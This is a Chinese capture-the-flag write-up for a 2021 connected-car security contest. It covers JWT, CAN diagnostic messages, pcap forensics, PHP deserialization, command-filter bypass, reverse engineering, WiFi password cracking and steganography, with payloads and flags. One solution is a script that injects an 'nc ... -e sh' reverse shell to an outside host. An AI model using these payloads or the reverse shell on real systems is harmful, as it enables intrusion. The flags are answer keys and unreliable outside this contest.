2021 CVVD首届车联网漏洞挖掘赛线上初赛G2mtu Writeup

jwt

原题

https://blog.csdn.net/weixin_46676743/article/details/113726655

带着

1
Authorization:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImVicmVidW5hIiwicGFzc3dvcmQiOiIiLCJhZG1pbiI6ImdlaHIiLCJpYXQiOjE2MjA0NTgwMzJ9.QkpCPfCtmMmeEYRoLFzzT8ag7mIaIPIcbZLZABqnXHw

访问/admin

CAN总线4

通过诊断服务报文使ECU停止发送网络管理报文,但仍能接收应用报文,请写出诊断服务报文数据场的前4字节。

参考https://blog.csdn.net/usstmiracle/article/details/109214586

0x04 应用层有四字节

0x28 CommunicationControl

0x01 enableRxAndDisableTx(激活接收和关闭发送)

0x2代表网络管理报文

1
flag{04 28 01 02}

CAN总线6

通过诊断服务使ECU进入扩展会话,如果ECU肯定响应,请写出ECU回复报文数据场的第2、3字节内容,如果ECU否定响应,请写出ECU回复报文数据场的第2、3字节内容。

参考https://zhuanlan.zhihu.com/p/37310388

肯定响应,50=10+40表示对SID的肯定回复,03是Extended扩展会话。

否定响应,7F表示否定响应,10是SID,表示诊断模式。

1
flag{50 03 7F 10}

stealthupload

首先把附件下载uploader_ec1afb6e216063e8e0be11604e51a050.pcapng,然后拖进wireshark

然后ctrl+F打开分组字节流搜索,选择字符串,直接输入flag

然后发现有个flag.txt的字样,试着把这个压缩包导出。

直接用:文件->导出分组字节流->保存文件

但是导出后的压缩包解压之后发现并没有什么用

但是发现这里是使用qq邮箱传文件

image-20200404000952911

于是使用包过滤语句http.request.method==POST

发现有5个连续的包。

这里需要去掉这5个包相同的头文件

先点击第一个数据包。可以发现长度为131436 bytes

依次发现第2,3,4个数据包长度均为131436 bytes

第5个包长度为1777 bytes

所以5个包的总长度为

131436*4+1777=527571

接着使用ctrl+F搜索logattsize,logattsize 这个参数为该包中通过qq邮箱传输的文件大小参数

image-20200404001642211

527571-525701=1820

1820就是五个包的文件头总和

1820/5=364

364就是每个包的文件头字节数

这里我们把字节数算出来之后,就需要把这五个包导出来,导出之后用 shell命令 dd,依次把五个文件去掉文件头保存成另一文件

依次对1,2,3,4,5文件执行,分别保存为01,02,03,04,05

1
copy /B 01+02+03+04+05 bugkufly.rar

但是解压的时候出现了问题

可能是zip伪加密,打开010编辑器。把图中84改为80。

image-20200404002444543

改完之后把文件后缀改为exe,再放到kail里面binwalk

1
binwalk -e flag.exe

发现没有想要的东西。再用foremost试一下

1
foremost -T flag.exe

出现了二维码图片,用手机扫一下即可得到

1
flag{m1Sc_oxO2_Fly}

SQL注入解决不了问题

原题:https://castilho101.github.io/midnightsun-2021-ctf/

传入参数

1
/?userdata=Tzo4OiJzdGRDbGFzcyI6NDp7czo4OiJ1c2VybmFtZSI7czoxMToiRDBsb3Jlc0g0emUiO3M6ODoicGFzc3dvcmQiO3M6MTM6InJhc211c2xlcmRvcmYiO3M6MTM6Il9jb3JyZWN0VmFsdWUiO047czozOiJtZmEiO1I6NDt9

然后得到

1
flag{CVVD_Y5owvt9Rs4}

绕过检测是一门艺术

题目如下

1
<?phphighlight_file(__FILE__);$filter = '/#|`| |[\x0a]|ls|rm|sleep|sh|bash|grep|nc|ping|curl|cat|tac|od|more|less|nl|vi|unique|head|tail|sort|rev|string|find|\$|\(\|\)|\[|\]|\{|\}|\>|\<|\?|\'|"|\*|;|\||&|\/|\\\\/is';$cmd = $_POST['cmd'];if(!preg_match($filter, $cmd)){    system($cmd."echo 'hi~'");}else{    die("???");}?>

先用

1
dir%09.%09

看到有个文件夹CvvD_F14g_1s_h4rehaha.php,然后读取文件

payload

1
cmd=cut%09-f%091%09CvvD_F14g_1s_h4rehaha.php%09

然后得到flag

答案并不在数据库中

原题:https://pocas.kr/2021/03/08/2021-03-08-zer0pts-CTF-2021/

脚本

1
import requestsurl = "http://192.168.1.103:8003"username = '";\n.sh nc 661356205 12 -e sh\n'data = {"username": username, "password": "pocas"}requests.post(url+"/login", data)

ip使用十进制绕一下

然后在vps监听nc -lvnp 12,可以反弹一个shell。反弹之后根目录下有个flag直接读就行了

1
flag{CVVD_QKtmeZ86U9}

提交答案的一百种方式

exp

取cvvd为密钥,进行表替换,不过表的值直接从内存中取即可,明文首先通过循环左移一位,然后与表内容异或,最后进行base64逆过来即可

1
import base64temp = []miyao = ['c','v','v','d']temp = [0xdf	,0x66	,0x52	,0xb9	,0x20	,0x1a	,0x17	,0x29,0xed	,0x76	,0x67	,0x5b	,0x58	,0x22	,0xd1	,0x44,0x26	,0x3e	,0xc6	,0xfb	,0xb4	,0x3f	,0x33	,0x4b]encrypt = "GYq+cZ7Iqb8xFonl/EQ9zsJUDA=="decrypt = base64.b64decode(encrypt)print len(decrypt)decrypt = list(decrypt)for i in range(len(decrypt)):	decrypt[i] = chr((temp[i]^ord(decrypt[i])))	decrypt[i] = chr((((ord(decrypt[i])<<7)&0xff)|((ord(decrypt[i])>>1)&0xff)))flag=""for i in range(len(decrypt)):	flag+=decrypt[i]print flag

你知道什么是反编译么

exp

加密代码在so中,考察so逆向,并且是攻防世界的原题

将f72c5a36569418a20907b55be5bf95ad两两交换得到7fc2a5636549812a90705bb55efb59da
将7fc2a5636549812a90705bb55efb59da以中间一分为二,头拼接到尾,得到90705bb55efb59da7fc2a5636549812a

这次不是反编译了

逻辑很简单,每个字符经过运算都需要等到0x30,并且变量为下标,直接逆即可

exp

1
flag=""for i in range(12):	flag += chr((0xff-i-100-0x30)%256)print flag

我想用用你的网

Wireshark 找到 eapol 协议的 wifi 链接认证 WPA 的四次握手包,爆破链接密码即可。用手机号码字典爆破成功:

1
flag{13910407686}

stegsolve

右键看源码发现有两个图片(base64编码),都down下来,mac打开titf格式那张图,看到flag

20210508202457

可以进行嗅探的可不止是嗅探犬

WX20210508-153405

wireshark是电线上的鲨鱼么?

image-20210508201648076

stegsolve-simple?

题目提示 stegsolve 联系杂项工具 stegsolve 。blue plane 1 有隐藏信息,data extract 提取出来即可。

1
flag{cicv_a_simple_flag}